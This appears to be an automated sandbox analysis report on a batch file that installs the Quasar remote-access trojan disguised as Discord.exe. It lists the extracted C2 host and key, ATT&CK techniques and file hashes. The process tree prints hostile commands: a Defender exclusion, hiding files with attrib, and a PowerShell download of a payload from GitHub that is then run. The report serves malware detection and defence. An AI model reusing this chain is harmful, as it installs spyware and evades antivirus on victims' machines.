quasar | cbd00c0fd3155f00c7299e57d3cb42560a46bbb759452a6bdb1f56e138bec444

Analysis

max time kernel
146s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
30/09/2024, 14:31

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General

Target
fud.bat
Size 2KB
Sample240930-rvpddazfpm
SHA256 cbd00c0fd3155f00c7299e57d3cb42560a46bbb759452a6bdb1f56e138bec444
MD5 0db242131f8eba4ae0887f4dcec9d423
SHA1 f2ecde10773dc0f8d04833d89f9c45d260980150
SHA512 0cff71cf5a14660740b2d6a2908463a04b33b0dbfdc0d883b4349a57374a8d864e60d71e587f30884e7573190ad76a8e490ac3c431b9f171a1394690e0212084
MD5 SHA1 SHA512

Score

10^/10

quasar office04 execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

Extazz24535-22930.portmap.host:22930

Mutex

89f58ee5-7af9-42de-843f-2a331a641e3f

Attributes

encryption_key
CD4F349DEB46AEE10C2FE886E5B2BD7A766723CE
install_name
Discord.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000200000001e4e3-46.dat	family_quasar
behavioral2/memory/5100-48-0x00000000003C0000-0x00000000006E4000-memory.dmp	family_quasar

Blocklisted process makes network request 2 IoCs

flow	pid	Process
17	3192	powershell.exe
20	3192	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3192	powershell.exe
4104	powershell.exe
4036	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
5100	Discord.exe
1568	Discord.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
19	raw.githubusercontent.com
20	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4104	powershell.exe
4104	powershell.exe
4036	powershell.exe
4036	powershell.exe
3192	powershell.exe
3192	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4104	powershell.exe
Token: SeDebugPrivilege	4036	powershell.exe
Token: SeDebugPrivilege	3192	powershell.exe
Token: SeDebugPrivilege	5100	Discord.exe
Token: SeDebugPrivilege	1568	Discord.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1568	Discord.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
1568	Discord.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1568	Discord.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 3180 wrote to memory of 4104	3180	cmd.exe	83
PID 3180 wrote to memory of 4104	3180	cmd.exe	83
PID 3180 wrote to memory of 1772	3180	cmd.exe	84
PID 3180 wrote to memory of 1772	3180	cmd.exe	84
PID 3180 wrote to memory of 4036	3180	cmd.exe	85
PID 3180 wrote to memory of 4036	3180	cmd.exe	85
PID 3180 wrote to memory of 536	3180	cmd.exe	86
PID 3180 wrote to memory of 536	3180	cmd.exe	86
PID 3180 wrote to memory of 3192	3180	cmd.exe	87
PID 3180 wrote to memory of 3192	3180	cmd.exe	87
PID 3180 wrote to memory of 4784	3180	cmd.exe	88
PID 3180 wrote to memory of 4784	3180	cmd.exe	88
PID 3180 wrote to memory of 5100	3180	cmd.exe	89
PID 3180 wrote to memory of 5100	3180	cmd.exe	89
PID 3180 wrote to memory of 4136	3180	cmd.exe	92
PID 3180 wrote to memory of 4136	3180	cmd.exe	92
PID 5100 wrote to memory of 1568	5100	Discord.exe	93
PID 5100 wrote to memory of 1568	5100	Discord.exe	93

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
536	attrib.exe
4136	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\fud.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -window hidden -command ""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4104
- C:\Windows\system32\cacls.exe
  "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
  2⤵
  PID:1772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Add-MpPreference -ExclusionPath "C:\
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4036
- C:\Windows\system32\attrib.exe
  attrib +h "Anon" /s /d
  2⤵
  - Views/modifies file attributes
  PID:536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  Powershell -Command "Invoke-Webrequest 'https://github.com/Kami32X/discord/raw/refs/heads/main/Discord.zip' -OutFile Discord.zip"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3192
- C:\Windows\system32\tar.exe
  tar -xf Discord.zip
  2⤵
  PID:4784
- C:\Users\Admin\AppData\Local\Anon\Discord.exe
  Discord.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5100
- - C:\Users\Admin\AppData\Roaming\SubDir\Discord.exe
    "C:\Users\Admin\AppData\Roaming\SubDir\Discord.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of SetWindowsHookEx
    PID:1568
- C:\Windows\system32\attrib.exe
  attrib +h "C:\Users\Admin\AppData\Discord.exe" /s /d
  2⤵
  - Views/modifies file attributes
  PID:4136

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

Discord.exe

Path C:\Users\Admin\AppData\Local\Anon\Discord.exe
Size 3.1MB
SHA256 75cfc57babc40cc07eb381c814fdcfa70b294be50703188f54183a795120fabf
MD5 8eef4ac1cd5ad30d9edbba0f9ff4e477
SHA1 0961a4dbe48bef59c9c03a6e8e4bf9ac1b022699
SHA512 8339182f94ce390d9c7f714759b3c4c4d30638de36494bbbff5c0f957060f57ba8f53a91babc9a3d7722f57ebd594494029e14a5d5babc16476d3517ea7a7f09
SSDEEP 49152:HvalL26AaNeWgPhlmVqvMQ7XSKgm0RyXvioGdOqTHHB72eh2NT:HvCL26AaNeWgPhlmVqkQ7XSKgm0RyXq
MD5 SHA1 SHA512 SSDEEP

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Discord.zip

Path C:\Users\Admin\AppData\Local\Anon\Discord.zip
Size 1.2MB
SHA256 5d724121e2b6f2d3550b31277a053f4fd9a6626dafe83c0846e7a99a6f14b92f
MD5 970717f4a38dad0fa4f161a914a992ab
SHA1 53e588a50c367e427ab10945912039d0ede4a351
SHA512 c47243ef59fd6c7ce2c1ba31cd90eaf8f929bc339576e440021828ad1c7607b10a6d982d705776a233b31dcba76c8b049079ac54b94aa79600d2206dafba792d
SSDEEP 24576:2zvV4zvq/eqqsyQRXUeceHEQUKXTb9JsKfwJWrSGebj:2jVt1qsTRXV3IKXTHBfwArSGo
MD5 SHA1 SHA512 SSDEEP

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Discord.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Discord.exe.log
Size 1KB
SHA256 ee954c5d8156fd8890e582c716e5758ed9b33721258f10e758bdc31ccbcb1924
MD5 baf55b95da4a601229647f25dad12878
SHA1 abc16954ebfd213733c4493fc1910164d825cac8
SHA512 24f502fedb1a305d0d7b08857ffc1db9b2359ff34e06d5748ecc84e35c985f29a20d9f0a533bea32d234ab37097ec0481620c63b14ac89b280e75e14d19fd545
MD5 SHA1 SHA512

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powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e
MD5 50a8221b93fbd2628ac460dd408a9fc1
SHA1 7e99fe16a9b14079b6f0316c37cc473e1f83a7e6
SHA512 27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 0673399a2f37c89d455e8658c4d30b9248bff1ea47ba40957588e2bc862976e8
MD5 96ff1ee586a153b4e7ce8661cabc0442
SHA1 140d4ff1840cb40601489f3826954386af612136
SHA512 3404370d0edb4ead4874ce68525dc9bcbc6008003682646e331bf43a06a24a467ace7eff5be701a822d74c7e065d0f6a0ba0e3d6bc505d34d0189373dcacb569
MD5 SHA1 SHA512

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__PSScriptPolicyTest_uwtb3iqj.vyo.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uwtb3iqj.vyo.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/1568-57-0x000000001C270000-0x000000001C322000-memory.dmp

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memory/1568-56-0x000000001C160000-0x000000001C1B0000-memory.dmp

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memory/4036-17-0x00007FF813C50000-0x00007FF814711000-memory.dmp

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memory/4036-28-0x00007FF813C50000-0x00007FF814711000-memory.dmp

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memory/4036-30-0x00007FF813C50000-0x00007FF814711000-memory.dmp

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memory/4104-0-0x00007FF813C53000-0x00007FF813C55000-memory.dmp

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memory/4104-11-0x00007FF813C50000-0x00007FF814711000-memory.dmp

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memory/4104-1-0x0000014AB0C30000-0x0000014AB0C52000-memory.dmp

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memory/4104-15-0x00007FF813C50000-0x00007FF814711000-memory.dmp

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memory/4104-12-0x00007FF813C50000-0x00007FF814711000-memory.dmp

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memory/5100-48-0x00000000003C0000-0x00000000006E4000-memory.dmp

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